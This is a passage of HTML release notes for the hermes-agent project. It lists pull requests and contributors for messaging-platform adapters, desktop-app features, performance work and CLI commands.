<li>Session activity heartbeats, stall watchdog, and bounded compression waits — re-landed hardened after an in-window revert cycle (originally <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4983942630" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/72424" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72424/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/72424">#72424</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fangliquanflq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fangliquanflq">@fangliquanflq</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/76354" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76354/hovercard">#76354</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>SessionState consolidation (19 session-keyed dicts → one turn/conversation/persistent-scoped object); TurnContext/TurnRunner seam extraction; declarative busy_policy on CommandDef (<a href="https://github.com/NousResearch/hermes-agent/pull/74289" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74289/hovercard">#74289</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74353" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74353/hovercard">#74353</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74197" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74197/hovercard">#74197</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay parity waves: Phase 1 (supported_ops discovery, identity fields, /handoff aliasing), Phase 2 media, Phase 3 interactive prompts, Phase 4 thread lifecycle; egress typing indicators (<a href="https://github.com/NousResearch/hermes-agent/pull/71300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71300/hovercard">#71300</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/71363" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71363/hovercard">#71363</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/71404" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71404/hovercard">#71404</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/71624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71624/hovercard">#71624</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69721" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69721/hovercard">#69721</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>HSP skill sync: personal client (M1) + org-skills client (M2) + org-skill namespace with token-gated discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/66730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66730/hovercard">#66730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70024" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70024/hovercard">#70024</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70459" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70459/hovercard">#70459</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Buzz (Block/Nostr) platform adapter with native WebSocket inbound transport + NIP-42 auth (<a href="https://github.com/NousResearch/hermes-agent/pull/73610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73610/hovercard">#73610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73761" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73761/hovercard">#73761</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Photon: native polls, effects, clarify-as-poll, rich links (4-PR salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/73614" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73614/hovercard">#73614</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: native Block Kit clarify buttons; opt-in reaction triggers; outbound payload sanitization; thread-context lifecycle fixes (<a href="https://github.com/NousResearch/hermes-agent/pull/69318" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69318/hovercard">#69318</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70195/hovercard">#70195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69317" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69317/hovercard">#69317</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69320" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69320/hovercard">#69320</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord auto-thread sessions keyed on prospective_thread_id; reply references built from ids (no fetch_message); WhatsApp configurable inbound read receipts (<a href="https://github.com/NousResearch/hermes-agent/pull/76513" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76513/hovercard">#76513</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76875" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76875/hovercard">#76875</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73322" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73322/hovercard">#73322</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Kanban wakes resume the creator's DM/thread session; kanban/delegate wake-ups reach api_server sessions; per-task model + thinking-depth from the board (<a href="https://github.com/NousResearch/hermes-agent/pull/72191" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72191/hovercard">#72191</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70171" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70171/hovercard">#70171</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69876" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69876/hovercard">#69876</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76417" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76417/hovercard">#76417</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Relay: Discord tool-progress routed into the auto-thread instead of the parent channel (<a href="https://github.com/NousResearch/hermes-agent/pull/77830" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77830/hovercard">#77830</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Outbound webhooks — push signed lifecycle events to external endpoints; simplex channel enumeration in <code>hermes send --list</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/69406" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69406/hovercard">#69406</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77110" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77110/hovercard">#77110</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<h3>The platform wave</h3>
<ul>
<li><strong>Artifacts</strong> — versioned cards, sandboxed live preview, right-rail viewer (<a href="https://github.com/NousResearch/hermes-agent/pull/72345" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72345/hovercard">#72345</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Plugin SDK</strong> — Kanban as the founding desktop plugin; <code>ctx.download</code> hands the user a file; widget-app SDK (apps as state+reducer+render) with three reference apps; widget-grid layout engine + background-aware theme engine (<a href="https://github.com/NousResearch/hermes-agent/pull/61173" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61173/hovercard">#61173</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74413/hovercard">#74413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68306" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68306/hovercard">#68306</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/20379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20379/hovercard">#20379</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Quick-entry window (global hotkey → any session); multiple GUI windows; floating pane placement; pane toggles anywhere + hidden header; ⌘O open-folder-as-project (<a href="https://github.com/NousResearch/hermes-agent/pull/72315" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72315/hovercard">#72315</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68259" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68259/hovercard">#68259</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73143" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73143/hovercard">#73143</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/75848" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/75848/hovercard">#75848</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74623" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74623/hovercard">#74623</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>SSH remote-backend connection mode; event-driven live sync replaces always-on polls; remote profile routing/sessions/pool lifecycle repaired (<a href="https://github.com/NousResearch/hermes-agent/pull/68130" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68130/hovercard">#68130</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73673" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73673/hovercard">#73673</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72835/hovercard">#72835</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yoniebans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yoniebans">@yoniebans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Let the agent drive the shell (preview pane + pane focus) AND inspect the desktop app it's developing; find-in-page (Ctrl+F); GUI terminal copy/paste + font picker (<a href="https://github.com/NousResearch/hermes-agent/pull/69519" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69519/hovercard">#69519</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73121" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73121/hovercard">#73121</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72235" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72235/hovercard">#72235</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73705" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73705/hovercard">#73705</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76395" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76395/hovercard">#76395</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Composer &amp; UX</h3>
<ul>
<li>Attach files/folders/links via picker; composer chips for @ paths and pasted links; composer undo stack; double-ESC discards draft; double-Enter sends the queued turn; type-to-focus (<a href="https://github.com/NousResearch/hermes-agent/pull/74668" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74668/hovercard">#74668</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73110" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73110/hovercard">#73110</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72201" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72201/hovercard">#72201</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72288" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72288/hovercard">#72288</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74736" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74736/hovercard">#74736</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73101/hovercard">#73101</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68918" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68918/hovercard">#68918</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>2-keypress model switching (⌘⇧M); YOLO in ⌘K with live toggle state; keyboard-first pickers; keyboard navigation for clarify choices; server-owned pins that follow you between apps (<a href="https://github.com/NousResearch/hermes-agent/pull/74545" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74545/hovercard">#74545</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74674" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74674/hovercard">#74674</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74602" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74602/hovercard">#74602</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69799/hovercard">#69799</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74234" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74234/hovercard">#74234</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Grouped, live-ticking tool-activity line; improved tool call detail views; @session links resolve to clickable titles; brand icons on known-domain links; iMessage-style emoji reactions (opt-in, two-way); double-click to heart (<a href="https://github.com/NousResearch/hermes-agent/pull/72893" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72893/hovercard">#72893</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69868/hovercard">#69868</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/71162" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71162/hovercard">#71162</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73047" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73047/hovercard">#73047</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74533" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74533/hovercard">#74533</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74644" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74644/hovercard">#74644</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Sidebar date dividers + pinned section + opt-in stale-session auto-archive; sessions stop lying about running state; credit-usage toasts; configurable attachment size limit; Cron Blueprints + Webhooks pages; searchable timezone picker (<a href="https://github.com/NousResearch/hermes-agent/pull/70822" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70822/hovercard">#70822</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72303/hovercard">#72303</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69828" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69828/hovercard">#69828</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73221" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73221/hovercard">#73221</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70066/hovercard">#70066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69687" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69687/hovercard">#69687</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73505" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73505/hovercard">#73505</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>RFC 8252 native desktop sign-in (system browser + PKCE, no webview cookies); "Connect to existing Hermes" in first-run onboarding; profile-correct pairing approvals with a desktop surface (<a href="https://github.com/NousResearch/hermes-agent/pull/67920" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67920/hovercard">#67920</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70907" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70907/hovercard">#70907</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74446" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74446/hovercard">#74446</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Keep-computer-awake toggle + notch wake indicator; /battery status-bar toggle; UI zoom 90% default preset; status bar hideable (<a href="https://github.com/NousResearch/hermes-agent/pull/68140" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68140/hovercard">#68140</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76396" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76396/hovercard">#76396</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68860" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68860/hovercard">#68860</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73161" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73161/hovercard">#73161</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72960" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72960/hovercard">#72960</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Desktop performance (60fps wave 2)</h3>
<ul>
<li>Streaming cost independent of transcript length; 60fps on real sessions (reflow-gated pins, adaptive flush); drag at 60fps with five streaming tabs; multitab streaming made fast (<a href="https://github.com/NousResearch/hermes-agent/pull/71835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71835/hovercard">#71835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72504/hovercard">#72504</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72346" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72346/hovercard">#72346</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/71780" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71780/hovercard">#71780</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Hidden-pane timers paused (agents view, cron sidebar, floating pet), scroll/status loops stopped in busy sessions (<a href="https://github.com/NousResearch/hermes-agent/pull/77651" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77651/hovercard">#77651</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>); idle CPU near zero in the background; sidebar/overlay render churn killed; statusbar + transcript stop re-rendering per token/sash-drag/session-switch; ⌘K opens instantly; renderer cold start keeps shiki/mermaid off the boot path (<a href="https://github.com/NousResearch/hermes-agent/pull/75218" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/75218/hovercard">#75218</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73698/hovercard">#73698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72163" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72163/hovercard">#72163</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72245/hovercard">#72245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72524" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72524/hovercard">#72524</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74665" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74665/hovercard">#74665</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73024" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73024/hovercard">#73024</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>State diagnostics (render + store churn counters) + a lint rule banning atom-mirrored refs so the stale-read bug class cannot return; Playwright E2E suite with visual regression diffs (<a href="https://github.com/NousResearch/hermes-agent/pull/71925" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71925/hovercard">#71925</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/71560" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71560/hovercard">#71560</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65805" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65805/hovercard">#65805</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>🖥️ CLI, TUI &amp; Dashboard</h2>
<ul>
<li><code>!</code> shell mode; <code>/init</code> AGENTS.md generation; <code>/diff</code> (staged/all/session, cross-surface); <code>/context</code> breakdown; <code>/focus</code> reduced-output view; Ctrl+S prompt stash; persistent <code>/goal</code> indicator; multi-select clarify (checkboxes) across CLI/gateway/TUI (<a href="https://github.com/NousResearch/hermes-agent/pull/72257" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72257/hovercard">#72257</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72178" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72178/hovercard">#72178</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72240/hovercard">#72240</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72242" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72242/hovercard">#72242</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72302" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72302/hovercard">#72302</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72262" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72262/hovercard">#72262</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72244" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72244/hovercard">#72244</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72188/hovercard">#72188</a> — <a class="user-mention notranslate" data-hovercard-type="user" 